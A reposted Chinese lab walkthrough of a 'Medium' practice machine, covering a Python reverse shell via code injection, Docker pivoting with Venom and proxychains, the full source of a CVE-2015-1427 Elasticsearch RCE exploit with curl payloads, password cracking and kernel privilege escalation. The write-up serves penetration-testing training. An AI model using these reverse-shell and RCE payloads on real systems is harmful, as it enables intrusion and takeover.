栏目分类:
子分类:
返回
名师互学网用户登录
快速导航关闭
当前搜索
当前分类
子分类
实用工具
热门搜索
名师互学网 > IT > 软件开发 > 后端开发 > Python

Medium

Python 更新时间: 发布时间: IT归档 最新发布 模块sitemap 名妆网 法律咨询 聚返吧 英语巴士网 伯小乐 网商动力

Medium

难度:中等

涉及到的知识点

主机发现
端口扫描
服务发现
路径爬取
代码注入
Shell脚本
内网信息收集
内网穿透
漏洞利用与exp修改
密码破解
本地提权
攻击代码修改

发现主机

arp-scan -l

确定192.168.229.147为靶机ip

扫描端口

 

 查看端口详细信息

 百度发现werkzeug是一个python的web框架,访问192.168.229.147:5000

经过测试没有发现有价值信息,使用dirsearch扫描目录

 访问admin目录,网页提示可以执行exec,因为是python框架,执行python反弹shell命令

import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("192.168.229.132",4444))
os.dup2(s.fileno(),0)       
os.dup2(s.fileno(),1)       
os.dup2(s.fileno(),2)       
p=subprocess.call(["/bin/sh","-i"])

nc开启监听

shell反弹成功发现是root权限

但是中等难度靶机哪有这么简单,ls发现具有dockerfile,说明可能是docker容器系统

以下两条命令通过,说明百分之百是docker系统搭建的环境

/.dockerenv
cat /proc/1/cgroup

 查看ip地址发现存在另一个网段

 使用shell编程ping内网主机

 使用Venom建立内网隧道

python开启80端口准备上传agent端给靶机

 admin端开启监听

 靶机下载agent,给予执行权限,运行

 admin端接收到信息,并且开启socks代理

 修改proxychains配置文件

 使用nmap进行端口扫描

proxychains nmap -Pn -sT ip

 对172.17.0.1扫描,发现5000端口,浏览器配置socks代理后进行访问

发现与192.168.227.147完全相同,说明这个ip是面向docker的ip

扫描172.17.0.3

进行端口进一步探测

 

 

 Elasticsearch是一个搜索引擎,搜索是否存在漏洞

使用36337.py,vi发现是python2脚本

 使用python2运行 

直接运行,exp会出错,经过搜索终于在 Github 找到失败原因,原因是服务里面没有数据,所以不能通过search来搜索进而执行命令

添加一条数据

proxychains curl -XPUT 'http://172.17.0.3:9200/twitter/user/yren' -d '{ "name" : "Wu" }'

执行命令

proxychains curl -XPOST 'http://172.17.0.3:9200/_search?pretty' -d '{"script_fields": {"payload": {"script": "java.lang.Math.class.forName("java.lang.Runtime").getRuntime().exec("whoami").getText()"}}}'

使用exp再次执行发现成功

也可以用修改exp的方法达到一劳永逸的方式,添加一个InsertData函数即可

exp完整源码:

#!/bin/python2
# coding: utf-8
# Author: Darren Martyn, Xiphos Research Ltd.
# Version: 20150309.1
# Licence: WTFPL - wtfpl.net
import json
import requests
import sys
import readline
import requests
readline.parse_and_bind('tab: complete')
readline.parse_and_bind('set editing-mode vi')
__version__ = "20150309.1"

def banner():
    print """x1b[1;32m
▓█████  ██▓    ▄▄▄        ██████ ▄▄▄█████▓ ██▓ ▄████▄    ██████  ██░ ██ ▓█████  ██▓     ██▓
▓█   ▀ ▓██▒   ▒████▄    ▒██    ▒ ▓  ██▒ ▓▒▓██▒▒██▀ ▀█  ▒██    ▒ ▓██░ ██▒▓█   ▀ ▓██▒    ▓██▒
▒███   ▒██░   ▒██  ▀█▄  ░ ▓██▄   ▒ ▓██░ ▒░▒██▒▒▓█    ▄ ░ ▓██▄   ▒██▀▀██░▒███   ▒██░    ▒██░
▒▓█  ▄ ▒██░   ░██▄▄▄▄██   ▒   ██▒░ ▓██▓ ░ ░██░▒▓▓▄ ▄██▒  ▒   ██▒░▓█ ░██ ▒▓█  ▄ ▒██░    ▒██░
░▒████▒░██████▒▓█   ▓██▒▒██████▒▒  ▒██▒ ░ ░██░▒ ▓███▀ ░▒██████▒▒░▓█▒░██▓░▒████▒░██████▒░██████▒
░░ ▒░ ░░ ▒░▓  ░▒▒   ▓▒█░▒ ▒▓▒ ▒ ░  ▒ ░░   ░▓  ░ ░▒ ▒  ░▒ ▒▓▒ ▒ ░ ▒ ░░▒░▒░░ ▒░ ░░ ▒░▓  ░░ ▒░▓  ░
 ░ ░  ░░ ░ ▒  ░ ▒   ▒▒ ░░ ░▒  ░ ░    ░     ▒ ░  ░  ▒   ░ ░▒  ░ ░ ▒ ░▒░ ░ ░ ░  ░░ ░ ▒  ░░ ░ ▒  ░
   ░     ░ ░    ░   ▒   ░  ░  ░    ░       ▒ ░░        ░  ░  ░   ░  ░░ ░   ░     ░ ░     ░ ░
   ░  ░    ░  ░     ░  ░      ░            ░  ░ ░            ░   ░  ░  ░   ░  ░    ░  ░    ░  ░
                                              ░
 Exploit for ElasticSearch , CVE-2015-1427   Version: %sx1b[0m""" %(__version__)

def execute_command(target, command):
    payload = """{"size":1, "script_fields": {"lupin":{"script": "java.lang.Math.class.forName(\"java.lang.Runtime\").getRuntime().exec(\"%s\").getText()"}}}""" %(command)
    try:
        url = "http://%s:9200/_search?pretty" %(target)
        r = requests.post(url=url, data=payload)
    except Exception, e:
        sys.exit("Exception Hit"+str(e))
    values = json.loads(r.text)
    fuckingjson = values['hits']['hits'][0]['fields']['lupin'][0]
    print fuckingjson.strip()

def InsertData(target):
    data='{ "name" : "Wu" }'
    requests.post("http://%s:9200/twitter/user/yren"%(target),data=data)

def exploit(target):
    InsertData(target)
    print "{*} Spawning Shell on target... Do note, its only semi-interactive... Use it to drop a better payload or something"
    while True:
        cmd = raw_input("~$ ")
        if cmd == "exit":
            sys.exit("{!} Shell exiting!")
        else:
            execute_command(target=target, command=cmd)

def main(args):
    banner()
    if len(args) != 2:
        sys.exit("Use: %s target" %(args[0]))
    exploit(target=args[1])

if __name__ == "__main__":
	main(args=sys.argv)

 利用exp获取root权限,ls查看目录下文件,发现passwords

读取passwords

 去网站md5解密

 经过测试只有john账号可以ssh连接,ssh连接到宿主机

 uname-a发现linux版本很低,寻找漏洞提权

 

 拷贝出漏洞,我们发现他为c语言的源代码需要gcc编译,但是靶机没有gcc,于是我们需要用kali提前编译

 但是这里有一段代码,执行的时候会再次执行gcc命令,但是靶机没有gcc,于是我们也需要自己修改exp

 将代码中生成so文件的代码取消(打上注释)

 使用gcc将文件编译,warning忽略

 尝试在kali种搜索源码中需要的文件 

找到并复制出来

 python开启服务器,让靶机下载exp和so文件

 

因为源码中的os是在tmp文件于是用命令将exp和os转移到tmp

mv * /tmp/

赋予exp可执行权限,运行exp成功提权

 

 

 

 

 

 

 

 

转载请注明:文章转载自 www.mshxw.com
本文地址:https://www.mshxw.com/it/1011058.html
我们一直用心在做
关于我们 文章归档 网站地图 联系我们

版权所有 (c)2021-2022 MSHXW.COM

ICP备案号:晋ICP备2021003244-6号